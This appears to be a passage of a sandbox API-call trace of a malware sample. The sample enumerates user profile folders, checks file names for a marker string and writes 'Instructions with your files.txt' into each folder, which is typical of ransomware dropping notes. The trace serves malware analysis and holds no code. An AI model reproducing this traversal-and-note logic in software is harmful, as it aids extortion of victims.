[0131.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.696] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\.") returned 47
[0131.696] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.696] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.696] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\..") returned 48
[0131.696] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.696] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.696] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned 57
[0131.696] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.696] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0131.696] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\Instructions with your files.txt") returned 78
[0131.696] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.697] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.700] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.700] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.700] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.700] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.700] CloseHandle (hObject=0x10c) returned 1
[0131.700] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.700] GetProcessHeap () returned 0x810000
[0131.700] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.700] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
[0131.700] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned 42
[0131.700] GetProcessHeap () returned 0x810000
[0131.700] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.700] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*") returned 44
[0131.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.701] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\.") returned 44
[0131.701] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.701] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.701] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\..") returned 45
[0131.701] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.701] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.701] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned 54
[0131.701] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.701] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
[0131.701] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned 63
[0131.701] StrStrIW (lpFirst="Everywhere.search-ms", lpSrch="SDfghjkl") returned 0x0
[0131.701] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
[0131.701] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned 70
[0131.701] StrStrIW (lpFirst="Indexed Locations.search-ms", lpSrch="SDfghjkl") returned 0x0
[0131.701] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0
[0131.701] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Instructions with your files.txt") returned 75
[0131.701] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.701] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.702] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.703] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.703] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.703] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.703] CloseHandle (hObject=0x10c) returned 1
[0131.703] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.703] GetProcessHeap () returned 0x810000
[0131.703] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.703] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
[0131.703] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned 40
[0131.703] GetProcessHeap () returned 0x810000
[0131.703] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.703] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*") returned 42
[0131.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.703] GetProcessHeap () returned 0x810000
[0131.703] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.703] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
[0131.703] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned 44
[0131.703] GetProcessHeap () returned 0x810000
[0131.703] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.703] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*") returned 46
[0131.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.703] GetProcessHeap () returned 0x810000
[0131.704] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.704] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
[0131.704] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned 43
[0131.704] GetProcessHeap () returned 0x810000
[0131.704] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.704] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*") returned 45
[0131.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.704] GetProcessHeap () returned 0x810000
[0131.704] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.704] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
[0131.704] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 40
[0131.704] GetProcessHeap () returned 0x810000
[0131.704] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.705] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*") returned 42
[0131.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.705] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\.") returned 42
[0131.705] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.705] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.705] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\..") returned 43
[0131.705] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.705] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfce8f60, ftCreationTime.dwHighDateTime=0x1d5b846, ftLastAccessTime.dwLowDateTime=0x2950800, ftLastAccessTime.dwHighDateTime=0x1d5baa1, ftLastWriteTime.dwLowDateTime=0x2950800, ftLastWriteTime.dwHighDateTime=0x1d5baa1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-0nxxUHmbFDThJn", cAlternateFileName="-0NXXU~1")) returned 1
[0131.705] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn") returned 56
[0131.705] GetProcessHeap () returned 0x810000
[0131.705] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.705] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\*") returned 58
[0131.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfce8f60, ftCreationTime.dwHighDateTime=0x1d5b846, ftLastAccessTime.dwLowDateTime=0x2950800, ftLastAccessTime.dwHighDateTime=0x1d5baa1, ftLastWriteTime.dwLowDateTime=0x2950800, ftLastWriteTime.dwHighDateTime=0x1d5baa1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\.") returned 58
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfce8f60, ftCreationTime.dwHighDateTime=0x1d5b846, ftLastAccessTime.dwLowDateTime=0x2950800, ftLastAccessTime.dwHighDateTime=0x1d5baa1, ftLastWriteTime.dwLowDateTime=0x2950800, ftLastWriteTime.dwHighDateTime=0x1d5baa1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\..") returned 59
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fcd10, ftCreationTime.dwHighDateTime=0x1d5c149, ftLastAccessTime.dwLowDateTime=0xd199e160, ftLastAccessTime.dwHighDateTime=0x1d5bbe7, ftLastWriteTime.dwLowDateTime=0xd199e160, ftLastWriteTime.dwHighDateTime=0x1d5bbe7, nFileSizeHigh=0x0, nFileSizeLow=0xaf0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="1nnTfQvA8P0juw.swf", cAlternateFileName="1NNTFQ~1.SWF")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\1nnTfQvA8P0juw.swf") returned 75
[0131.708] StrStrIW (lpFirst="1nnTfQvA8P0juw.swf", lpSrch="SDfghjkl") returned 0x0
[0131.708] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade8120, ftCreationTime.dwHighDateTime=0x1d5b718, ftLastAccessTime.dwLowDateTime=0xfeeaa2f0, ftLastAccessTime.dwHighDateTime=0x1d5c2ca, ftLastWriteTime.dwLowDateTime=0xfeeaa2f0, ftLastWriteTime.dwHighDateTime=0x1d5c2ca, nFileSizeHigh=0x0, nFileSizeLow=0x1201, dwReserved0=0x0, dwReserved1=0x0, cFileName="2eZHHk.swf", cAlternateFileName="")) returned 1
[0131.708] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-0nxxUHmbFDThJn\\2eZHHk.swf") returned 67
